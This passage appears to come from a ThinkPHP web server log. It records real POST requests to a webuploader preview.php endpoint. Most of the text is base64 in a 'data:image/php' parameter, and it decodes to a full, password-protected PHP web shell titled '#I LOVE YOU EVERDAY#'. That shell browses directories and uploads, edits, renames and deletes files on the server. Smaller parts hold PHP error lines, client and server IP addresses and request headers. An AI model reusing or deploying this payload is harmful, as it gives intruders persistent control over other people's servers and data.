ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:17+08:00 ] 119.42.146.234 POST 59.110.137.245/static/common/js/webuploader/0.1.5/server/preview.php [运行时间:0.002823s] [吞吐率:354.25req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0